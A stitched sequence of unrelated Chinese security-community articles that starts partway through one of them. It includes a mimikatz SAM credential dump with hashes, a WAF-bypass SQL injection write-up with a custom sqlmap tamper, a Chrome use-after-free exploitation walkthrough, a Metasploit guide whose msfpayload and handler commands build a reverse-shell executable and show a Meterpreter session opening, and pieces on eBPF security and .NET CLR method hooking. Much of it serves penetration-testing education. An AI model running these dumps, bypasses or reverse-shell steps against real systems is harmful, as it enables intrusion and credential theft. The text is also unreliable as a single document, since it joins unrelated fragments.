/system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM
/sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM`
mimikatz # lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
Domain : DESKTOP-O964ESB
SysKey : a08925cd5aa1e233979b6e7f5af5d14f
Local SID : S-1-5-21-4122028251-988587905-1313519337
SAMKey : 370726e6ff65705806c59ecab7215638
RID : 000001f4 (500)
User : Administrator
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
RID : 000001f8 (504)
User : WDAGUtilityAccount
Hash NTLM: 87b648d8bcebb806071d6e82ce8cb702
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 1716c9242888029acdb319d523057c8c
* Primary:Kerberos-Newer-Keys *
Default Salt : WDAGUtilityAccount
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 8bae3cca0f8f0fc6883d1ef4184700faa12ebe2be3d3cd98779f56e1de369b65
aes128_hmac (4096) : 47cbc90d91a18441576f0e9c11b5fed6
des_cbc_md5 (4096) : 54078fdaa82cba8a
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : WDAGUtilityAccount
Credentials
des_cbc_md5 : 54078fdaa82cba8a
RID : 000003e9 (1001)
User : dreamfoil
Hash NTLM: e66e908cc621a6280bab324adc1a1452
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : bca168626d56ba0130bda5e9bf879d1d
* Primary:Kerberos-Newer-Keys *
Default Salt : DESKTOP-O964ESBdreamfoil
Default Iterations : 4096
Credentials
aes256_hmac (4096) : fb36afea63165610fcd2d6a791b7277d40475343e47cf317e9ed83f23b131731
aes128_hmac (4096) : 6a2fe2310337386317b6ddf529bbd20e
des_cbc_md5 (4096) : c28fda1076e5cd83
OldCredentials
aes256_hmac (4096) : fb36afea63165610fcd2d6a791b7277d40475343e47cf317e9ed83f23b131731
aes128_hmac (4096) : 6a2fe2310337386317b6ddf529bbd20e
des_cbc_md5 (4096) : c28fda1076e5cd83
* Packages *
NTLM-Strong-NTOWF
* Primary:Kerberos *
Default Salt : DESKTOP-O964ESBdreamfoil
Credentials
des_cbc_md5 : c28fda1076e5cd83
OldCredentials
des_cbc_md5 : c28fda1076e5cd83
mimikatz # crypto::hash /password:295714 /u
NTLM: e66e908cc621a6280bab324adc1a1452
LM : 47bf08a501fa37beaad3b435b51404ee
MD5 : 11be67779d74644218766a3d8bb3a3fb
SHA1: cc3f62561ae21216ab14c585b40e417252224e88
SHA2: 59b0a666782b8c5281204e828b5ab62f1f61bfd79881c8da8066195c314cf610
成功读取SAM文件
#### 漏洞影响版本及缓解手段
windows10 1809之后的版本
**缓解手段** ：删除VSS副本 | 社区文章 |
**前言**
某次渗透中遇到的注入存在双层waf的情况,第一层是云waf第二层似乎是本地的安全狗或者是代码层面的防护,后端数据库是mysql,jsp环境，最终通过多次fuzz的方式成功找到突破口,并且利用sqlmap的tamper脚本来获取数据.
**正文**
首先来看一下这个双层waf的大概情况,首先是云waf，利用一个简单的 'and '1'='1 触发waf
渲染后的样子
有兄弟看出这个是啥牌子的waf嘛 有的话希望告知一下 小弟没看出来
因为后端是mysql 所以直接用&&替换了 and 并且url编码一下 因为是特殊字符 直接就过了 我是没想到的 0_0
其他更多的payload我还没测试我在回包里发现还有检测,应该是本地的安全狗或者是代码层面的检测
换一个 or 对应的 || 试试
偶哟 还不错哦 检测了=号 我们用 like 来替换一下
成功过去了 我低头沉思 虽然过去了 但是好像没有什么卵用 单纯or 用 || 替换 =用 like 替换 那么其他的payload 会不会被检测到了
我觉得多半是会被检测到的 我们来试一试 因为这个返回是把错误打印出来的 多半是支持报错注入的
找个报错注入的payload试一试 稍微加点注释和换行
理所当然的被拦截了 这都拦截不鸟的话 这云waf也太垃圾了 0_0
如果想要真正把这个注入利用起来,也就是最终想要获取到数据库数据,那么多半要找一个一劳永逸，比较通用的绕过方法,类似于 假定可以双写绕过 那么利用
sqlmap 的tamper 把所有关键字双写 假如只是不允许有空格 那么用其他能绕过检测的东西批量替换空格 获取数据
所以我想寻找到类似上述两种情景的这么一个突破口
于是我开始fuzz 还有一个比较好的地方是 因为如果语法出错 返回包会把具体位置 语句 给你爆出来 所以我们可以对着 返回包来fuzz
首先 如果语法有问题那么 返回包会显示具体情况
我特地构造了一个 payload 来fuzz
fuzz payload 如下
我想找到一个会被替换为空的字符 如果存在这样一个字符那么肯定可以绕过waf 利用sqlmap 获取数据 如果存在这么一个字符 返回结果里肯定有123321
那么我只需要在结果里寻找这个123321就好
加载 16进制数据 00 01 一直到 100(256的16进制) 测试所有字符 看有没有机会
在intruder 爆破结束后的 option 选项里 可以设置要寻找的数据 下图就是设置要寻找的123321
结果没有发现这样一个字符
不慌 我们继续来fuzz 我们来用两次urlencode试试 看后端怎么处理
这次构造的payload如下 就是urlencode了两次 对要测试的字符 我只要在结果里寻找123321就好
let's go
bingo 有结果了 0_0 运气不错 第二次fuzz 就中奖了 奥里给
可以看到 %2527被替换为空了只剩下123321 因为post的时候 会自动urldecode一次 所以后端程序其实是把%27替换为空了
这么多组合都可以用来绕waf 嘿嘿 简单测试一下 报错注入
哦哟 舒服了 接下来就是修改sqlmap tamper 来获取数据
**什么是sqlmap的tamper**
sqlmap是一款人见人爱的自动化SQL渗透工具，能够以良好的引擎发现给定URL中的可注入处，并自动化的完成注入。但是由于SQL注入的影响过于广泛，致使现代程序的防护越来越严密。sqlmap/tamper是官方给出的一些绕过脚本，可以配合渗透测试人员完成更高效更高质量的测试
至于sqlmap有哪些tamper 作用是啥 可以参考 <https://www.freebuf.com/sectool/179035.html>
**修改sqlmap-tamper-获取数据**
不得不感叹一句 sqlmap真乃神器 已经写好的tamper 功能基本就满足大多数场景了
在这里我的目标是在每一个字符前加上%2527在sqlmap自带的tamper中已经有一个叫 percentage.py的，这个的功能是在每个字符前加%
我只需要改成加%2527就行 非常简单 我们先看一下这个tamper大概长啥样
框起来的部分是关键 sqlmap把原来的payload 每一个字符前加%后给retVal 并且重新拼接起来 那么我只需要改一句
retVal += '%%2527%s' % payload[i]
就好
还有 =号之前说过是会被检测的 只需要 把=号 换成 like 在最后加上
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
最终的tamper 如下
sqlmap 真乃神奇也 简直奥里给
好了 现在就来一把梭
sqlmap 命令如下 ； python2 sqlmap.py -r "d:\sqlmap.txt" --dbms=mysql --technique=E
--tamper mypercentage
我开始了 嘿嘿 | 社区文章 |
# Chrome漏洞调试笔记1——CVE-2019-5768
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2019年11月1日，Kaspersky的Blog 《Chrome 0-day exploit CVE-2019-13720 used in
Operation
WizardOpium》公布了他们捕获的一个Chrome在野漏洞CVE-2019-13720利用样本的部分内容。这也是2019年第二个被捕获的Chrome在野漏洞。可以看到随着IE浏览器逐渐被淘汰，Edge浏览器用户占有量远低于Chrome，Chrome将会成为黑客攻击的新目标。虽然Chrome的沙箱模块增加了远程代码执行的难度，但是攻击者仍然会通过类似CVE-2019-0808的内核漏洞或者Chrome自己的高权限模块漏洞绕过沙箱。由于CVE-2019-13720的技术细节仍未公布，笔者选择了同样在今年被发现的CVE-2019-5768作为Chrome漏洞调试笔记的第一篇。由于笔者水平有限，文中错误之处恳请斧正。
## 0x0 Root Cause Analysis
FileReader
FileReader对象允许Web应用程序异步读取存储在用户计算机上的文件（或原始数据缓冲区）的内容，可以使用 Blob 对象指定要读取的数据。
FileReader.readAsArrayBuffer() 方法读取指定的 Blob中的内容, 一旦完成, result 属性中保存的将是被读取内容的
ArrayBuffer 数据对象。
FileReader.onprogress 事件处理progress事件。该事件在读取Blob时触发。
FileReader.onloadend 事件处理loadend事件。该事件在读取Blob结束时触发。
一个典型的FileReader应用示例代码如下：
这里申请了128MB的字符串保存到Blob对象中，通过FileReader.readAsArrayBuffer()
方法读取到ArrayBuffer里，并绑定了FileReader.onprogress和FileReader.onloadend事件的回调，运行示例代码，Chrome控制台输出如下：
需要注意的是最后两个onprogress事件触发时，Blob对象数据已经读取完毕。
PoC
CVE-2019-5768的补丁如下：
这里修复的函数DOMArrayBuffer*
FileReaderLoader::ArrayBufferResult()对应了js调用FileReader.readAsArrayBuffer()
后FileReader.result属性的读取操作。
观察该函数补丁前的代码，重点分析红框部分的代码，这里raw_data_是WTF::ArrayBufferBuilder的指针：
WTF::ArrayBufferBuilder使用增量方式构造WTF::ArrayBuffer，并保存构造的WTF::ArrayBuffer指针，WTF::ArrayBuffer采用引用计数算法维护指向实际数据内存的生命周期：
ArrayBufferBuilder::ToArrayBuffer()
将WTF::ArrayBufferBuilder转换为WTF::ArrayBuffer：
转换的逻辑是：当WTF::ArrayBufferBuilder保存的buffer空间被完全使用后，直接返回buffer，否则通过ArrayBuffer：：Slice()返回一个WTF::ArrayBuffer的副本。
最后再回到FileReaderLoader::ArrayBufferResult()，分析DOMArrayBuffer::Create():
可以看到这里DOMArrayBuffer::Create()只是将WTF::ArrayBuffer的指针做了转移，返回blink::
DOMArrayBuffer指针保存至局部变量result。
继续走到if代码，这里当finished_loading_ ==
true时，将局部变量result赋值给成员变量array_buffer_result_作为后面再调用FileReader.result属性的返回结果，否则返回局部变量result。其中finished_loading变量由FileReaderLoader::OnFinishLoading()
赋值true：
我们再来梳理下完整的代码逻辑：当脚本调用FileReader.result属性时，c++代码调用DOMArrayBuffer*
FileReaderLoader::ArrayBufferResult()函数返回一个blink::DOMArrayBuffer指针，指向由WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer对象。当Blob对象数据未读取完时，FileReader.result指向WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer对象的副本；当FileReader已读取完Blob对象数据时，FileReader.result指向WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer自身。
可以发现这里存在一个时序问题：finished_loading_未被置true时Blob对象数据可能已经读取完毕（回忆FileReader示例Chrome的控制台输出结果），此时FileReader.result将指向WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer自身。也就是说，onprogress和onloadend事件回调中的FileReader.result返回不同的blink::DOMArrayBuffer指针指向同一个WTF::ArrayBuffer。那么就可以通过释放其中一个FileReader.result，使得另一个FileReader.result成为悬挂指针，PoC如下：
这里ab1_ref和ab2_ref分别保存onprogress和onloadend事件回调中的FileReader.result返回值。当Blob对象数据读取完毕后，如果ab1_ref
!= null && ab1_ref !=
ab2_ref说明返回了两个不同的blink::DOMArrayBuffer指针并指向同一个ArrayBuffer。再通过Worker.postMessage转移ab1_ref和ab2_ref，当转移ab2_ref时，ab2_ref指向的ArrayBuffer已经被转移从而引发异常，使得ab2_ref成为悬挂指针。最后通过向ab2_ref写入数据触发crash：
（漏洞利用部分的代码参考exodus的blog，可以在Win7 x86环境下稳定利用。）
## 0x1 Read/Write Primitive
UAF漏洞利用的关键是如何占位，而占位的前提条件是合理的内存布局。根据exodus的blog，在32位win7系统中通过申请1GB的ArrayBuffer，Chrome会尝试释放512MB保留内存，而分配失败的OOM异常可以被脚本捕获使得render进程不会crash，最终导致后面申请的128MB的ArrayBuffer在这块512MB内存上分配，不受隔离堆保护，释放后可以被其他js对象占位。
具体步骤：
1. 申请1GB的ArrayBuffer，使得Chrome释放512MB的保留内存
2. 调用FileReader.readAsArrayBuffer(blob); 在512MB内存中创建读取Blob对象数据需要的ArrayBuffer
3. 触发漏洞，释放步骤2申请ArrayBuffer内存
4. 创建大量的js对象，尝试占用已经释放的ArrayBuffer内存
5. 利用悬挂指针ab2_ref通过一个Uint32Array指向已经释放的ArrayBuffer内存
内存布局示意图：
6. 利用tarray搜索标记内存marker1, marker2, 并定位找到的spray[i][j]的地址和tarray data的首地址：
（注意这里乘2是因为SMI在x86中使用高31位存放数据。）
内存布局示意图：
同时得到部分内存读写功能：
7. 利用找到的tarray[object_prop_taidx]定位spray[i][j]的索引i，j：
内存布局示意图：
通过一系列的搜索，spray[i][j].a和tarray[object_prop_taidx]指向同一块4字节的内存，从而实现了任意对象地址泄露功能：
8. 利用任意对象地址泄露功能和tarray的读写能力，寻找一个可篡改的TypedArray，实现任意地址读写能力：
## 0x2 Remote Code Execution
exodus的blog使用了WebAssembly执行shellcode。比起传统的利用ROP绕过DEP以及覆盖虚函数指针或者函数返回地址执行shellcode的方法，WebAssembly由于自带RWX属性内存以及执行函数，利用起来更加简单，具体步骤：
1. 初始化WebAssembly模块：
2. 根据JSFunction的内存布局找到RWX内存起始地址，用shellcode覆盖：
3. 执行WebAssembly导出函数wasm_func，触发shellcode执行：
关闭Chrome的沙箱，运行利用代码，在Win7 x86环境成功弹出计算器：
## 0x3 References
1. <https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-operation-wizardopium/94866/>
2. <https://developer.mozilla.org/en-US/docs/Web/API/FileReader>
3. <https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/>
4. <https://github.com/chromium/chromium/commit/ba9748e78ec7e9c0d594e7edf7b2c07ea2a90449> | 社区文章 |
## 知识背景
当我们谈及运行时防护产品或方案时，人们的目光主要集中在主机、终端和目前最火热的云原生场景上。Falco、Tracee、Tetragon、Datadog-agent、KubeArmor 是现阶段云原生场景下比较流行的几款运行时防护方案。这些方案主要是基于 eBPF
挂载内核函数并编写过滤策略，在内核层出现异常攻击时触发预置的策略，无需再返回用户层而直接发出告警甚至阻断。
这样的方案优点是可以自定义乃至自动化配置策略，修改检测、阻断规则文件更快速，更新灵活性高、过滤条件丰富（进程、网络、文件等），更加重要的在内核直接处理各种事件，节省了数据传输和上下文切换带来的性能损耗，对于网络或者
Tracing
等短时间大量数据处理的场景，性能方面提升更高。劣势也很明显，也就是只能管控到进程这个粒度。如果发生误报的时候，杀死进程对系统稳定性和性能有很大的影响，也会涉及到正常业务的流转。
我们都知道内核社区的传统就是相对安全性更侧重于性能和功能（这也是各大厂商最关注的部分），在需要牺牲性能来改善内核安全性时并不愿意折衷处理。其实从另一个角度来看，也不是内核社区不想合入有用的安全
Patch，从 LKML 里面关于 LSM 或者其他 Security
相关的订阅人数、世界上独立的内核安全公司数量来看，除了一些内核安全机制有相应大公司或大社区维护（SELinux (NSA)、AppArmor
(OpenSuSE/Ubuntu)、PaX / grsecurity (Spender)），以及 PaX / grsecurity
和内核社区的历史渊源，所以在全球范围内，真实有效的内核安全开发者是少之又少。
Linux内核社区坚持"Security through
obscurity"哲学，这意味着内核社区从来不主动申请CVE漏洞编号，即使如此，2021年1月到8月，有CVE编号的内核漏洞超过110个。再加上内核代码提交走的流程比较繁琐，应用到具体内核版本上，又存在周期长以及版本适配的问题，所以导致内核在安全方面发展的速度明显慢于其他模块。
## KRSI优势和流程
基于以上历史原因，eBPF 和基于函数的更细粒度管控方案重磅出炉，名字就叫内核运行时检测 KRSI（Kernel Runtime Security
Instrumentation）。
KRSI 的原型通过 LSM (Linux security module)形式已经实现出来了，可以将 eBPF program 挂载到kernel 的
security hook（安全挂钩点）上。内核的安全性主要包括两个方面：Signals 和 Mitigations，这两者密不可分。
Signals 就是指一些可能意味着（并不是 100% 确定）系统有一些异常活动的迹象、事件；
Mitigation 则是指在检测到异常行为之后所采取的补救措施；
KRSI 基于 LSM 来实现，这也就使其能够进行访问控制策略的决策，但这不是 KRSI
的工作重心，主要是为了全面监视系统行为，以便检测攻击。从这种角度来看，KRSI 可以说是内核审计机制的扩展，使用eBPF
来提供比目前内核审计子系统更高级别的可配置性。
struct krsi_hook {
const char *name
enum krsi_hook_type h_type;
struct dentry *h_dentry;
struct mutex mutex;
struct bpf_prog_array __rcu *progs;
};
在 KRSI 中，三个参数将直接传递给任何挂载的 BPF程序。这些程序可以通过 vma 指针来了解所有受影响的内存区域。它们还可以根据 vma->vm_mm
来获得调用进程的顶层内存管理数据(mm_struct 结构体)。简而言之，这些程序可以获取大量信息。
int security_file_mprotect(struct vm_area_struct *vma,
unsigned long reqprot,unsigned long prot);
1. KRSI 允许适当的特权用户将 BPF 程序挂载到 LSM 子系统提供的数百个钩子中的任何一个上面；
2. 为了简化这个步骤，KRSI 在 /sys/kernel/security/bpf 下面导出了一个新的文件系统层次结构——每个钩子对应一个文件；
3. 可以使用 bpf() 系统调用将 BPF 程序(新的BPF_PROG_TYPE_LSM 类型)挂载到这些钩子上，并且可以有多个程序挂载到任何给定的钩子。
4. 每当触发一个安全钩子时，将依次调用所有挂载的 BPF程序，只要任一 BPF 程序返回错误状态，那么请求的操作将被拒绝。
## 结论
内核安全问题，牵一发而动全身，尤其是在运行时安全方面。 **通过上述 eBPF 新型 program 类型，为 signals 和 mitigation
提供统一 API 的策略，并优化内核 LSM
框架和现有机制容易丢失系统调用的问题，从阻断一个函数调用运行的角度，来实现更细粒度，也更合理的检测方案，同时在内核Livepatch、漏洞检测以及防御提权相关攻击手段上，有着进一步的发展空间。**
eBPF 结合 LSM 的方案还在持续演进，功能和性能逐渐完善，详细请看内核社区 LSM
邮件列表或<https://lore.kernel.org/all/?q=eBPF+LSM。创新研究院云安全团队将会持续关注相关内容和技术的演进。> | 社区文章 |
* * *
* 原文地址：<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit>
* 作者：[Metasploit Community](https://github.com/rapid7/metasploit-framework)
* 译者：[王一航](https://github.com/wangyihang) 2018-06-10
* 校对：[王一航](https://github.com/wangyihang) 2018-06-10
* * *
众所周知，有两种流行的 Shell 的类型：反向 Shell （译者注：攻击者监听端口，被攻击者连接）和 正向
Shell（译者注：被攻击者监听端口，攻击者连接）
译者注：由于 C/S 结构的程序开发中，一般我们将监听端口的一方称为服务器，而主动连接的一方称为客户端。站在攻击者的角度上，正向 Shel
即为攻击者主动连接服务器，此谓之正向；而反向 Shell 中，攻击者为服务器，被攻击者主动连接攻击者，此谓之反向
Payload 的基本使用已经在 [用户手册](https://github.com/rapid7/metasploit-framework/blob/master/documentation/users_guide_4.3.pdf) 中写的很详细了，但是，学习如何使用反向
Shell 仍然是一个在 Metasploit 社区中被询问最频繁的问题。另外，事实上反向 Shell
在十次渗透中几乎有九次都可能被用到，因此在这个文档中我们将对此进行深入解释。
## 列出所有的 Metasploit 反向 Shell
直到现在， Metasploit Framework 已经有了 168 个不同的反向 Shell 的 Payload
我们这里并没有列出所有的反向 Shell 的列表，因为没必要浪费文章的篇幅。
但是如果你想要得到这个列表的话，你可以使用 `msfpayload` 命令 （译者注：msfpayload 目前已经被 msfvenom
代替，msfvenom 由 msfpayload 与 msfencode
结合而成，具体官方公告可以参考：<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom）>
# ./msfpayload -l |grep reverse
./msfvenom -l |grep reverse
作为一个经验法则，我们一般总是选择 meterpreter（译者注：对比于反向 Shell 和 正向 Shell），因为 Meterpreter
的确能为我们提供更多的后渗透测试的支持。例如：Railgun（译者注：这是 Metasploit 对 Windows Meterpreter Session
提供的一个功能，可以注入 DLL 文件到指定的程序），后渗透测试模块，独立的 Meterpreter 命令（例如：摄像头控制），等等。
* 以 Windows 作为目标系统，最被频繁使用的反向 Shell 是 `windows/meterpreter/reverse`。但是你也可以尝试一下 `windows/meterpreter/reverse_http`, `windows/meterpreter/reverse_https`, 因为它们（译者注：原文中并没有说清楚 `它们` 指的是什么，个人感觉应该是反向 Shell 的流量并没有经过加密，可以直接被防火墙嗅探到，但是如果基于 HTTP 或者 HTTPS 那么就可以实现基于应用层的加密，这样更难被检测到）的网络流量可能会有一点点不正常。
* 以 Linux 作为目标系统，你可以尝试 `linux/x86/meterpreter/reverse_tcp` 这个针对 32 位的 Payload，当然也可以尝试 64 位的。然而，你应该知道的是 `linux/x86/shell_reverse_tcp` 这个 Payload 是最稳定的
## 什么时候应该使用反向 Shell
如果你认为你所在的条件符合如下条件之一（但不限于），那么你就应该考虑使用反向 Shell
* 目标机器在一个不同（相对攻击者而言）的私有网络
* 目标机器的防火墙阻挡了所有入口连接（这种情况正向 Shell 是会被防火墙阻挡的）
* 由于一些原因，你的 Payload 不能绑定在应该绑定的端口的时候
* 你还不能确定应该选择反向 Shell 还是正向 Shell 的时候
## 什么时候不应该使用反向 Shell
* 一般来说，如果你已经在目标机器的某个已存在的服务上种植了后门，那么你就不再需要反向 Shell。例如：如果目标机器已经运行了一个 SSH 服务器，那么你可以通过后门程序添加一个新的用户并且直接使用。
* 如果目标机器运行了一个 WEB 服务器并且支持服务端脚本语言，那么你就可以种植一个目标语言的后门。例如：很多 Apache HTTP Server 都支持 PHP 语言，那么你就可以使用一个 PHP 的 webshell；IIS 服务器通常支持 ASP 语言或者 ASP.net。Metasploit Framework 提供所有这些语言的 Payload （当然也包括许多其他语言的 Payload）
* 与 VNC 相同，远程桌面，SMB(psexec) 或者等等其他的远程管理工具也一样。
## 如何在生成 Payload 的时候配置反向 Shell Payload 的参数
如果你想使用 `msfpayload`（译者注：已被废弃）或者 `msfvenom` 来生成反向 Shell 的
Payload，那么你必须知道如何配置如下的参数：
* LHOST - 从字面上看（译者注： **L** ocal **HOST** ），该参数表示你想让你的目标机器连接的地址。如果你在一个本地局域网，那么你的目标机器可能就不能直接连接到你的机器了，除非你们在同一个网络中。这种情况下，你需要 [找到你的公网IP](https://www.google.com/webhp?q=ip#q=ip) ，然后在你的网络中配置端口转发连接到你自己的用来攻击的电脑。LHOST 这个参数不可以被设置为 `localhost`, `0.0.0.0`, `127.0.0.1`，如果你这么设置了，那么你其实在让目标机器连接自己。
* LPORT - 这个参数表示目标机器要连接的端口号
当你在配置反向 Shell 的监听器的时候，你也需要至少配置 LHOST 和 LPORT 这两个参数，但是这和在生成 Payload
的时候的配置的含义有所不同
* LHOST - 该参数表示你想让你的监听器绑定的 IP 地址
* LPORT - 该参数表示你想让你的监听器绑定的端口号
你应该确保监听器在目标机器执行反向 Shell 的 Payload 之前就开始监听
## 实例
在下面的实例中，我们有两个主机
**主机 A**
* 攻击者机器（用来接受 Payload 作用产生的 Session）
* IP : 192.168.1.123 (ifconfig)
* 与受害者的主机在同一网段
**主机 B**
* 受害者机器
* Windows XP
* IP : 192.168.1.80 (ipconfig)
* 与攻击者在同一个网段
* 为了测试效果，并没有开启防火墙
* 为了测试效果，并没有开启反病毒软件
**第一步：生成可执行的Payload**
在攻击者的机器上，运行如下 msfpayload 命令（或者 msfvenom，任何一个都可以）
$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}
**第二步：将可执行的 Payload 拷贝到机器 B （也就是受害者的机器）**
**第三步：在机器A（也就是攻击者）上配置 Payload Handler**
$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
**第四步：双击刚才生成的恶意可执行程序（在机器B，也就是受害者机器上）**
**第五步：这个时候应该就可以在攻击者的机器A上看到一个 meterpreter/payload 的 session 了**
$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >
Meterpreter 命令提示符表示由当前 payload 生成的 session 已经被激活 | 社区文章 |
# .NET CLR注入方法探讨
##### 译文声明
本文是翻译文章，文章原作者 PI4net，文章来源：PI4net
原文地址：<https://zhuanlan.zhihu.com/p/61464591>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[PI4net](https://www.zhihu.com/people/xing-shi-kang)
## 0x01 基础概念
首先要说一些基础：
* CLR 和 托管代码（Manage Code）
* 中间语言 (IL)
* 元数据和PE文件
### CLR 和 托管代码（Manage Code）
.NET Framework 提供了一个称为CLR（Common Language Runtime）的运行时环境，所以.NET
的程序，都是在CLR中运行的。
使用基于CLR的语言编译器开发的代码称为托管代码；托管代码具有许多优点，例如：跨语言集成、跨语言异常处理、增强的安全性、版本控制和部署支持、简化的组件交互模型、调试和分析服务等。
MS的一些语言，例如C#、VB、F#，都是在 CLR 中运行的。可以将CLR理解为他们的运行环境。
### 中间语言 (IL)
对.NET 高级语言编写的代码进行编译，就会得到一个由IL构成的二进制文件。类似于就jvm中的字节码。
IL构成的二进制文件在运行时，会交由CLR进行接管，并由CLR进行翻译（JIT），生成可以直接运行的机器码，最后进行执行。
IL有时也称为通用中间语言（CIL）或Microsoft中间语言（MSIL）。
## 元数据(Metadata)和PE文件
元数据是描述程序的二进制信息，存储在PE文件或内存中。当将基于dot NET编写的代码编译为PE文件时，元数据和IL代码将写入到PE文件中。
我们可以通过反编译来了解程序集或可执行文件中包含的Metadata和IL的秘密，打开ILDasm并加载实现准备的程序集，我们可以看到托管PE文件的相关内容：
.NET是基于面向对象的，所以元数据描述的主要目标就是面向对象的基本元素：类、类型、属性、方法、字段、参数、特性等，主要包括：
* 定义表，描述了源代码中定义的类型和成员信息，主要包括：TypeDef、MehodDef、FieldDef、ModuleDef、PropertyDef等。
* 引用表，描述了源代码中引用的类型和成员信息，引用元素可以是同一程序集的其他模块，也可以是不同程序集的模块，主要包括：AssemblyRef、TypeRef、ModuleRef、MethodsRef等。
* 指针表，使用指针表引用未知代码，主要包括：MethodPtr、FieldPtr、ParamPtr等。
* 堆，以stream的形式保存的信息堆，主要包括：#String、#Blob、#US、#GUIDe等。
.NET 程序编写运行的流程为：
这里只是简单描述了一些基础，还有一些重要的概念：应用程序域，程序集，JIT等，读者可以进行深入了解。
推荐：
* [你必须知道的.NET](https://www.cnblogs.com/anytao/archive/2007/07/22/must_net_13.html)
* [《CLR via C#》](https://book.douban.com/subject/4924165/)
* [《CLR via C#, Second Edition (Pro Developer)》](https://book.douban.com/subject/1547071/)
## 0x02 History Review
开始进入主题。
我们的目的是在CLR中，对运行的方法进行注入、劫持。比如 function A 调用的时候，实际执行的功能确是 function B。
已经有人做过该方面的研究，也提出了几种可行的方案：
* 劫持 compileMethod
* Install trampoline
* 使用Profiling API
每种方案各有优劣，稍微介绍一下。
### 0x02-00 劫持 compileMethod
[Jerry Wang](http://www.codeproject.com/Articles/463508/NET-CLR-Injection-Modify-IL-Code-during-Run-time) 提出了一种 hook compileMethod的方法。
代码编译得到的PE文件在运行的时候，会调用JIT进行处理，翻译成机器可以执行的机器码。
JIT的实现DLL（对于.NET 4以上是 clrjit.dll / 对于.NET 2.0-3.5是 mscorjit.dll ）导出一个 _stdcall
的方法 getJit ，此方法返回一个 ICorJitCompiler 。
CLR的实现DLL（对于.NET 4以上是 clr.dll / 对于.NET 2.0-3.5是 mscorwks.dll）调用 getJit 方法来取得
ICorJitCompiler ，然后调用它的 compileMethod 方法来将MSIL代码编译为本机代码。
JIT 处理操作根据 .NET 版本不同，分别位于 clrjit.dll 或者 mscorjit.dll 中，其中实现了一个名为getJit返回
ICorJitCompiler。
CLR 相关操作根据 .NET 版本不同，分别位于 clr.dll 或者 mscorjit.dll，调用 getJit 方法来取得
ICorJitCompiler, 然后调用compileMethod 方法将MSIL代码编译为本机代码。
//
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
//
#include "standardpch.h"
#include "icorjitcompiler.h"
#include "icorjitinfo.h"
interceptor_IEEMM* current_IEEMM = nullptr; // we want this to live beyond the scope of a single compileMethodCall
CorJitResult __stdcall interceptor_ICJC::compileMethod(ICorJitInfo* comp, /* IN */
struct CORINFO_METHOD_INFO* info, /* IN */
unsigned /* code:CorJitFlag */ flags, /* IN */
BYTE** nativeEntry, /* OUT */
ULONG* nativeSizeOfCode /* OUT */
)
{
interceptor_ICJI our_ICorJitInfo;
our_ICorJitInfo.original_ICorJitInfo = comp;
if (current_IEEMM == nullptr)
current_IEEMM = new interceptor_IEEMM();
CorJitResult temp =
original_ICorJitCompiler->compileMethod(&our_ICorJitInfo, info, flags, nativeEntry, nativeSizeOfCode);
return temp;
}
void interceptor_ICJC::clearCache()
{
original_ICorJitCompiler->clearCache();
}
BOOL interceptor_ICJC::isCacheCleanupRequired()
{
return original_ICorJitCompiler->isCacheCleanupRequired();
}
void interceptor_ICJC::ProcessShutdownWork(ICorStaticInfo* info)
{
original_ICorJitCompiler->ProcessShutdownWork(info);
}
void interceptor_ICJC::getVersionIdentifier(GUID* versionIdentifier /* OUT */)
{
original_ICorJitCompiler->getVersionIdentifier(versionIdentifier);
}
unsigned interceptor_ICJC::getMaxIntrinsicSIMDVectorLength(CORJIT_FLAGS cpuCompileFlags)
{
return original_ICorJitCompiler->getMaxIntrinsicSIMDVectorLength(cpuCompileFlags);
}
void interceptor_ICJC::setRealJit(ICorJitCompiler* realJitCompiler)
{
original_ICorJitCompiler->setRealJit(realJitCompiler);
}
这里思路很简单，hook compileMethod 方法，在进行编译MSIL代码之前，替换IL代码，便能更改函数功能或者改变函数执行流程。
[Jerry Wang](http://www.codeproject.com/Articles/463508/NET-CLR-Injection-Modify-IL-Code-during-Run-time) 便是这样做的：
